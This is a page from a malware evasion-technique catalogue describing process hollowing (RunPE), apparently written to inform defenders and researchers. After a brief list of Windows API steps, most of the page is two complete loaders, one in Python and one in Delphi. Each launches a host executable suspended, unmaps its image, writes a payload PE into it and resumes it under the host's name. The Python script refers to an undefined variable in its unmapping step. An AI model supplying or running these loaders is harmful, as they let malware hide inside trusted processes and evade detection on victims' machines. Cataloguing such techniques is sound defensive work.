Process Hollowing, RunPE

Created the Monday 18 March 2019. Updated 3 years, 4 months ago.

Process hollowing is a technique uses by malware to inject a malicious code into another process. For example a sample can create a notepad.exe process and inject its payload.

The process is the following:

  • CreateProcess: in a suspended mode with the CreationFlag at 0x0000 0004.
  • GetThreadContext: retrieves the context of the specified thread.
  • ZwUnmapViewOfSection: Unmaps a view of a section from the virtual address space of a
    subject process.
  • VirtualAllocEx: allocates memory within the suspended process’s address space.
  • WriteProcessMemory: writes data of the PE file into the memory just allocated within the
    suspended process.
  • SetThreadContext: sets the EAX register to the entry point of the executable written.
  • ResumeThread: resumes the thread of the suspended process.

Technique Identifier

U1225

Technique Tag

RunPE


Code Snippets

# Source: https://github.com/joren485/HollowProcess
from ctypes import *
from pefile import PE
import sys

if len(sys.argv) != 3:
        print "Example: runpe.py test.exe C:\windows\system32\svchost.exe"
        sys.exit()


payload_exe = sys.argv[1]
target_exe = sys.argv[2]
stepcount = 1


class PROCESS_INFORMATION(Structure):
	_fields_ = [
                ('hProcess', c_void_p), 
                ('hThread', c_void_p), 
                ('dwProcessId', c_ulong), 
                ('dwThreadId', c_ulong)]
	
class STARTUPINFO(Structure):
	_fields_ = [
                ('cb', c_ulong), 
                ('lpReserved', c_char_p),    
                ('lpDesktop', c_char_p),
                ('lpTitle', c_char_p),
                ('dwX', c_ulong),
                ('dwY', c_ulong),
                ('dwXSize', c_ulong),
                ('dwYSize', c_ulong),
                ('dwXCountChars', c_ulong),
                ('dwYCountChars', c_ulong),
                ('dwFillAttribute', c_ulong),
                ('dwFlags', c_ulong),
                ('wShowWindow', c_ushort),
                ('cbReserved2', c_ushort),
                ('lpReserved2', c_ulong),    
                ('hStdInput', c_void_p),
                ('hStdOutput', c_void_p),
                ('hStdError', c_void_p)]
	
class FLOATING_SAVE_AREA(Structure):
	_fields_ = [
                ("ControlWord", c_ulong),
                ("StatusWord", c_ulong),
                ("TagWord", c_ulong),
                ("ErrorOffset", c_ulong),
                ("ErrorSelector", c_ulong),
                ("DataOffset", c_ulong),
                ("DataSelector", c_ulong),
                ("RegisterArea", c_ubyte * 80),
                ("Cr0NpxState", c_ulong)]	
	
class CONTEXT(Structure):
        _fields_ = [
                ("ContextFlags", c_ulong),
                ("Dr0", c_ulong),
                ("Dr1", c_ulong),
                ("Dr2", c_ulong),
                ("Dr3", c_ulong),
                ("Dr6", c_ulong),
                ("Dr7", c_ulong),
                ("FloatSave", FLOATING_SAVE_AREA),
                ("SegGs", c_ulong),
                ("SegFs", c_ulong),
                ("SegEs", c_ulong),
                ("SegDs", c_ulong),
                ("Edi", c_ulong),
                ("Esi", c_ulong),
                ("Ebx", c_ulong),
                ("Edx", c_ulong),
                ("Ecx", c_ulong),
                ("Eax", c_ulong),
                ("Ebp", c_ulong),
                ("Eip", c_ulong),
                ("SegCs", c_ulong),
                ("EFlags", c_ulong),
                ("Esp", c_ulong),
                ("SegSs", c_ulong),
                ("ExtendedRegisters", c_ubyte * 512)]

def error():
        print "[!]Error: " + FormatError(GetLastError())
        print "[!]Exiting"
        print "[!]The process may still be running"
        sys.exit()
        

print "[" + str(stepcount) +"]Creating Suspended Process"
stepcount += 1

startupinfo = STARTUPINFO()
startupinfo.cb = sizeof(STARTUPINFO)
processinfo = PROCESS_INFORMATION()

CREATE_SUSPENDED = 0x0004
if windll.kernel32.CreateProcessA(
                                None,
                                target_exe,
                                None,
                                None,
                                False,
                                CREATE_SUSPENDED,
                                None,
                                None,
                                byref(startupinfo),
                                byref(processinfo)) == 0:
       error()
        

hProcess = processinfo.hProcess
hThread = processinfo.hThread


print "\t[+]Successfully created suspended process! PID: " + str(processinfo.dwProcessId)
print
print "[" + str(stepcount) +"]Reading Payload PE file"
stepcount += 1

File = open(payload_exe,"rb")
payload_data = File.read()
File.close()
payload_size = len(payload_data)

print "\t[+]Payload size: " + str(payload_size)
print
print "[" + str(stepcount) +"]Extracting the necessary info from the payload data."
stepcount += 1

payload = PE(data = payload_data)
payload_ImageBase = payload.OPTIONAL_HEADER.ImageBase
payload_SizeOfImage = payload.OPTIONAL_HEADER.SizeOfImage
payload_SizeOfHeaders = payload.OPTIONAL_HEADER.SizeOfHeaders
payload_sections = payload.sections
payload_NumberOfSections = payload.FILE_HEADER.NumberOfSections
payload_AddressOfEntryPoint = payload.OPTIONAL_HEADER.AddressOfEntryPoint
payload.close()

MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_READWRITE = 0x4

payload_data_pointer = windll.kernel32.VirtualAlloc(None,
                                c_int(payload_size+1),
                                MEM_COMMIT | MEM_RESERVE,
                                PAGE_READWRITE)


memmove(                        payload_data_pointer,
                                payload_data,
                                payload_size)

print "\t[+]Data from the PE Header: "
print "\t[+]Image Base Address: " + str(hex(payload_ImageBase))
print "\t[+]Address of EntryPoint: " + str(hex(payload_AddressOfEntryPoint))
print "\t[+]Size of Image: " + str(payload_SizeOfImage)
print "\t[+]Pointer to data: " + str(hex(payload_data_pointer))


print
print "[" + str(stepcount) +"]Getting Context"
cx = CONTEXT()
cx.ContextFlags = 0x10007

if windll.kernel32.GetThreadContext(hThread, byref(cx)) == 0:
         error()
print
print "[" + str(stepcount) +"]Getting Image Base Address from target"
stepcount += 1

base = c_int(0)
windll.kernel32.ReadProcessMemory(hProcess, c_char_p(cx.Ebx+8), byref(base), sizeof(c_void_p),None)
target_PEBaddress = base
print "\t[+]PEB address: " + str(hex(target_PEBaddress.value))


print
print "[" + str(stepcount) +"]Unmapping"
if target_PEBaddress ==  payload_ImageBase:
        if not windll.ntdll.NtUnmapViewOfSection(
                                hProcess,
                                target_ImageBase):
                error()

print
print "[" + str(stepcount) +"]Allocation memory"
stepcount += 1

MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40

address = windll.kernel32.VirtualAllocEx(
                                hProcess, 
                                c_char_p(payload_ImageBase), 
                                c_int(payload_SizeOfImage), 
                                MEM_COMMIT|MEM_RESERVE, 
                                PAGE_EXECUTE_READWRITE)

if address == 0:
        error()

print "\t[+]Allocated to: "+ str(hex(address))

print
print "[" + str(stepcount) +"]Writing Headers"
stepcount += 1

lpNumberOfBytesWritten = c_size_t(0)

if windll.kernel32.WriteProcessMemory(
                                hProcess,
                                c_char_p(payload_ImageBase),
                                c_char_p(payload_data_pointer),
                                c_int(payload_SizeOfHeaders),
                                byref(lpNumberOfBytesWritten)) == 0:
                error()

print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
print "\t[+]Pointer to data: " + str(hex(payload_ImageBase))
print "\t[+]Writing to: " + str(hex(payload_data_pointer))
print "\t[+]Size of data: " + str(hex(payload_SizeOfHeaders))

print
for i in range(payload_NumberOfSections):
        section = payload_sections[i]
        dst = payload_ImageBase + section.VirtualAddress
        src = payload_data_pointer + section.PointerToRawData
        size = section.SizeOfRawData
        print
        print "[" + str(stepcount) +"]Writing section: " + section.Name
        stepcount += 1
        print "\t[+]Pointer to data: " + str(hex(src))
        print "\t[+]Writing to: " + str(hex(dst))
        print "\t[+]Size of data: " + str(hex(size))

        lpNumberOfBytesWritten  = c_size_t(0)

        if windll.kernel32.WriteProcessMemory(
                                hProcess,
                                c_char_p(dst),
                                c_char_p(src),
                                c_int(size),
                                byref(lpNumberOfBytesWritten)) == 0:
                 error()
                 
        print "\t[+]Bytes written:", lpNumberOfBytesWritten.value
         
print
print "[" + str(stepcount) +"]Editing Context"
stepcount += 1

cx.Eax = payload_ImageBase + payload_AddressOfEntryPoint

lpNumberOfBytesWritten  = c_size_t(0)
if windll.kernel32.WriteProcessMemory(
                                hProcess,
                                c_char_p(cx.Ebx+8),
                                c_char_p(payload_data_pointer+0x11C),
                                c_int(4),
                                byref(lpNumberOfBytesWritten)) == 0:
         error()

print "\t[+]Pointer to data: " + str(hex(cx.Ebx+8))
print "\t[+]Writing to: " + str(hex(payload_data_pointer+0x11C))
print "\t[+]Size of data: " + str(hex(4))
print "\t[+]Bytes written:", lpNumberOfBytesWritten.value

print 
print "[" + str(stepcount) +"]Setting Context"
stepcount += 1

windll.kernel32.SetThreadContext(
                                hThread,
                                byref(cx))

print
print "[" + str(stepcount) +"]Resuming Thread"
stepcount += 1

if windll.kernel32.ResumeThread(hThread) == 0:
        error()

print "[" + str(stepcount) +"]Success"

Jean-Pierre LESUEUR

Description

Supports both x86-32 / x86-64

The RunPE loader must have the same architecture as PE Payload and PE Host. PE Payload and PE Host must of course have the same architecture.

// Supports both x86-32 and x86-64

program Unprotect_RunPE;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.Classes,
  WinAPI.Windows,
  System.SysUtils;


function NtUnmapViewOfSection(
  ProcessHandle: THandle;
  BaseAddress: Pointer
):DWORD; stdcall; external 'ntdll.dll';

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;

  EInvalidPEFile = class(Exception)
  public
    {@C}
    constructor Create(const AReason : String); overload;
  end;

constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;


constructor EInvalidPEFile.Create(const AReason : String);
begin
  inherited Create(Format('Invalid Windows PE File: "%s"', [AReason]));
end;

procedure WriteProcessMemoryEx(const hProcess : THandle; const pOffset, pData : Pointer; const ADataSize : SIZE_T);
var ABytesWritten : SIZE_T;
begin
  if not WriteProcessMemory(
    hProcess,
    pOffset,
    pData,
    ADataSize,
    ABytesWritten
  ) then
    raise EWindowsException.Create('WriteProcessMemory');
end;

procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost : String); overload;
var AStartupInfo            : TStartupInfo;
    AProcessInfo            : TProcessInformation;
    pThreadContext          : PContext;
    AImageBase              : NativeUInt;
    pOffset                 : Pointer;
    ABytesRead              : SIZE_T;
    ptrImageDosHeader       : PImageDosHeader;
    AImageNtHeaderSignature : DWORD;
    ptrImageFileHeader      : PImageFileHeader;
    I                       : Integer;
    pSectionHeader          : PImageSectionHeader;
    pPayloadAddress         : Pointer;
    pImageBaseOffset        : Pointer;
    ALoaderX64              : Boolean;

    {$IFDEF WIN64}
      pOptionalHeader64 : PImageOptionalHeader64;
    {$ELSE}
      pOptionalHeader32 : PImageOptionalHeader32;
    {$ENDIF}

begin
  if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then
    raise Exception.Create('Memory buffer is not valid.');

  pOffset := pPEBuffer;

  ptrImageDosHeader := PImageDosHeader(pOffset);

  if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then
    raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');

  pOffset := Pointer(NativeUInt(pOffset) + ptrImageDosHeader^._lfanew);

  AImageNtHeaderSignature := PDWORD(pOffset)^;

  if AImageNtHeaderSignature <> IMAGE_NT_SIGNATURE then
    raise EInvalidPEFile.Create('IMAGE_NT_SIGNATURE');

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(DWORD));

  ptrImageFileHeader := PImageFileHeader(pOffset);

  {$IFDEF WIN64}
    ALoaderX64 := True;
  {$ELSE}
    ALoaderX64 := False;
  {$ENDIF}

  case ptrImageFileHeader^.Machine of
    IMAGE_FILE_MACHINE_AMD64 : begin
      if not ALoaderX64 then
        Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.');
    end;

    IMAGE_FILE_MACHINE_I386 : begin
      if ALoaderX64 then
        Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.');
    end;
  end;

  pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageFileHeader));

  {$IFDEF WIN64}
    pOptionalHeader64 := PImageOptionalHeader64(pOffset);

    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader64));
  {$ELSE}
    pOptionalHeader32 := PImageOptionalHeader32(pOffset);

    pOffset := Pointer(NativeUInt(pOffset) + SizeOf(TImageOptionalHeader32));
  {$ENDIF}

  pSectionHeader := PImageSectionHeader(pOffset);

  ZeroMemory(@AStartupInfo, SizeOf(TStartupInfo));
  ZeroMemory(@AProcessInfo, SizeOf(TProcessInformation));

  AStartupInfo.cb := SizeOf(TStartupInfo);
  AStartupInfo.wShowWindow := SW_SHOW;

  UniqueString(APEHost);

  if not CreateProcessW(
      PWideChar(APEHost),
      nil,
      nil,
      nil,
      False,
      CREATE_SUSPENDED,
      nil,
      nil,
      AStartupInfo,
      AProcessInfo
  ) then
    raise EWindowsException.Create('CreateProcessW');

  pThreadContext := VirtualAlloc(nil, SizeOf(TContext), MEM_COMMIT, PAGE_READWRITE);
  pThreadContext^.ContextFlags := CONTEXT_FULL;

  if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('GetThreadContext');

  {$IFDEF WIN64}
    pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2));
  {$ELSE}
    pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2));
  {$ENDIF}

  if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then
    raise EWindowsException.Create('ReadProcessMemory');

  if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then
    raise Exception.Create('Could not unmap section.');

  pPayloadAddress := VirtualAllocEx(
    AProcessInfo.hProcess,
    nil,
    {$IFDEF WIN64}
      pOptionalHeader64^.SizeOfImage,
    {$ELSE}
      pOptionalHeader32^.SizeOfImage,
    {$ENDIF}
    MEM_COMMIT or MEM_RESERVE,
    PAGE_EXECUTE_READWRITE
  );

  if not Assigned(pPayloadAddress) then
    raise EWindowsException.Create('VirtualAllocEx');

  WriteProcessMemoryEx(
    AProcessInfo.hProcess,
    pPayloadAddress,
    pPEBuffer,
    {$IFDEF WIN64}
      pOptionalHeader64^.SizeOfHeaders
    {$ELSE}
      pOptionalHeader32^.SizeOfHeaders
    {$ENDIF}
  );

  for I := 1 to ptrImageFileHeader^.NumberOfSections do begin
    try
      WriteProcessMemoryEx(
        AProcessInfo.hProcess,
        Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress),
        Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData),
        pSectionHeader^.SizeOfRawData
      );
    finally
      pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader));
    end;
  end;

  {$IFDEF WIN64}
    pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader64^.AddressOfEntryPoint;
  {$ELSE}
    pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader32^.AddressOfEntryPoint;
  {$ENDIF}

  WriteProcessMemoryEx(
    AProcessInfo.hProcess,
    pImageBaseOffset,
    @pPayloadAddress,
    SizeOf(Pointer)
  );

  if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then
    raise EWindowsException.Create('SetThreadContext');

  if ResumeThread(AProcessInfo.hThread) = 0 then
    raise EWindowsException.Create('ResumeThread');
end;


procedure HollowMe(const APEFile, APEHost : String); overload;
var ABuffer    : array of byte;
    hFile      : THandle;
    AFileSize  : Int64;
    ABytesRead : DWORD;
begin
  if not FileExists(APEFile) then
    raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));
  ///

  hFile := CreateFile(
      PWideChar(APEFile),
      GENERIC_READ,
      FILE_SHARE_READ,
      nil,
      OPEN_EXISTING,
      0,
      0
  );
  if hFile = INVALID_HANDLE_VALUE then
    raise EWindowsException.Create('CreateFile');

  try
    if not GetFileSizeEx(hFile, AFileSize) then
      raise EWindowsException.Create('GetFileSizeEx');

    if AFileSize = 0 then
      raise Exception.Create('Invalid PE File Size.');

    SetLength(ABuffer, AFileSize);

    if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then
      raise EWindowsException.Create('ReadFile');
  finally
    CloseHandle(hFile);
  end;

  ///
  HollowMe(PByte(ABuffer), AFileSize, APEHost);
end;

begin
  try
    HollowMe('FileToRun.exe', 'HostFile.exe');
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.

Additional Resources

External Links

Subscribe to our Newsletter


The information entered into this form is mandatory. It will be subjected to computer processing. It is processed by computer in order to support our users and readers. The recipients of the data will be : contact@unprotect.it.

According to the Data Protection Act of January 6th, 1978, you have at any time, a right of access to and rectification of all of your personal data. If you wish to exercise this right and gain access to your personal data, please write to Thomas Roccia at contact@unprotect.it.

You may also oppose, for legitimate reasons, the processing of your personal data.